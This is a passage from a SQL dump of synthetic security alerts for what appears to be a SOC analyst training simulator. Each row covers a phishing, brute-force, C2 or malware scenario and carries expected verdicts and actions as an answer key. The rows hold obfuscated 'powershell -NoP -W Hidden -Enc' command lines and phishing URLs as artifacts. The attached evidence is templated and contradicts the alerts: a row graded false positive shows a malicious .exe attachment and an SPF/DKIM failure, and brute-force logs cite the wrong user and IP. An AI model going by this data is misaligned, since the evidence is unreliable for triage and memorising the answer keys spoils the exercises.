1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.359Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:22:59Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"212.47.229.1\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"auth-server-01\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(714, 'Suspicious Network Activity Detected (False Positive)', 'medium', 'Firewall', 'Unusual network traffic was detected from an internal IP to an external cloud service. Further investigation reveals this as legitimate user activity.', 'Network Anomaly', 'T1078', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T16:30:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"52.34.67.89\",\"username\":\"m.smith\",\"hostname\":\"user-pc-02\",\"domain\":\"cloud-storage.com\"}', '2026-01-10 13:30:15', '2026-03-04 16:08:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"cloud-storage.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate cloud storage service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The traffic was confirmed to be legitimate access to a known cloud service by an authorized user, hence a false positive.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(715, 'Malicious File Execution Detected', 'high', 'CrowdStrike', 'A suspicious process was executed on the host, potentially linked to APT41 activity. The process resembles known malware used for data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"host-001\",\"command_line\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"file_hash\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\"}', '2026-01-11 07:59:37', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command indicative of malicious activity\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The decoded PowerShell command and the file hash are linked to known APT41 malware, indicating a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(716, 'Suspicious Login Attempt Detected from Foreign IP', 'medium', 'SIEM', 'Multiple failed login attempts detected from a suspicious IP address. This could indicate a brute force attack targeting user credentials.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"asmith\",\"hostname\":\"host-002\",\"failed_attempts\":15}', '2026-01-10 14:22:49', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Valid internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The multiple failed login attempts from a known malicious IP address confirm a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(717, 'Phishing Email with Malicious URL Detected', 'high', 'Proofpoint', 'A phishing email was received with a URL designed to harvest credentials. The email mimics a trusted service to lure the user.', 'Phishing', 'T1566', 1, 'Closed', 177, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.20\",\"email_sender\":\"no-reply@trustedservice.com\",\"username\":\"mjane\",\"hostname\":\"host-003\",\"url\":\"http://malicious-site.com/login\"}', '2026-01-09 19:07:59', '2026-02-22 10:25:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with phishing activity\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@trustedservice.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Email appears to mimic a trusted domain\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL is flagged as a credential harvesting site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL in the phishing email is confirmed to be used for credential harvesting, indicating a true positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.363Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(735, 'Spear Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A spear phishing email was detected targeting an employee, containing a malicious URL hosted on a lookalike domain. The email uses urgency language to lure the victim into clicking the link.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.10.5\",\"username\":\"jdoe@example.com\",\"hostname\":\"WS-001\",\"email_sender\":\"ceo@examp1e.com\",\"url\":\"http://login.examp1e.com/secure\",\"email_subject\":\"Urgent: Verify Your Account Immediately\"}', '2026-01-11 02:32:22', '2026-03-15 10:53:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@examp1e.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://login.examp1e.com/secure\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing login pages\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 152 times for phishing activities\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The lookalike domain and use of urgency suggest a targeted phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.381Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(736, 'Detected Command and Control Communication from Malware', 'critical', 'CrowdStrike', 'A malware infection was detected attempting to communicate with a known C2 server. The connection was initiated from an internal host.', 'Malware', 'T1105', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.89\",\"username\":\"user1@company.com\",\"hostname\":\"PC-003\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnop3456\"}', '2026-01-10 14:58:13', '2026-02-16 18:03:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnop3456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in several malware infections\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The communication to a known C2 server confirms the host is compromised.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(737, 'Failed Brute Force Login Attempts Detected', 'medium', 'Wazuh', 'Multiple failed login attempts were detected from a foreign IP address, indicating a potential brute force attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe@company.com\",\"hostname\":\"PC-004\",\"failed_attempts\":35}', '2026-01-11 11:45:57', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported several times for suspicious login activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted host\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"No additional suspicious activity detected for this user\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and foreign IP location indicate a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(738, 'Suspicious Email Flagged as Possible False Positive', 'low', 'Email Gateway', 'An email was flagged as suspicious due to its sender domain, but analysis shows it matches known safe entities.', 'Phishing', 'T1598', 0, 'Closed', 232, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"192.168.1.15\",\"username\":\"user2@company.com\",\"hostname\":\"WS-002\",\"email_sender\":\"newsletter@trustedsource.com\",\"email_subject\":\"Monthly Updates\"}', '2026-01-11 10:40:23', '2026-03-09 18:19:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"newsletter@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Sender domain verified as legitimate source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP matches known safe email servers\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender and IP are verified as legitimate, indicating this is a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Flagged as Possible False Positive\",\"date\":\"2026-02-01T20:32:22.384Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(739, 'APT-Level Phishing Attack via Spoofed Office365 Login Page', 'critical', 'Proofpoint', 'A spear phishing email was detected attempting to harvest credentials using a spoofed Office365 login page. The email was sent from a lookalike domain and contained urgency language.', 'Phishing', 'T1566', 1, 'investigating', 34, '{\"timestamp\":\"2026-01-11T09:15:34Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"jdoe@company.com\",\"hostname\":\"mail.company.com\",\"email_sender\":\"no-reply@0ffice365-security.com\",\"domain\":\"0ffice365-security.com\",\"url\":\"http://login-verifyoffice365.com\",\"email_subject\":\"Immediate Action Required: Verify Your Office365 Account\"}', '2026-01-11 14:23:02', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 157 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@0ffice365-security.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Lookalike domain used in phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://login-verifyoffice365.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing page mimicking Office365 login\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and used a lookalike domain to deceive users into entering their credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT-Level Phishing Attack via Spoofed Office365 Login Page\",\"date\":\"2026-02-01T20:32:22.385Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(740, 'Fileless Malware Detected via Process Hollowing', 'high', 'CrowdStrike', 'A process hollowing technique was detected on a user endpoint, indicating a potential fileless malware execution. The attack leveraged PowerShell with heavy obfuscation.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"\",\"username\":\"m.smith\",\"hostname\":\"DESKTOP-45KTHR\",\"command_line\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\"}', '2026-01-11 01:56:23', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of process 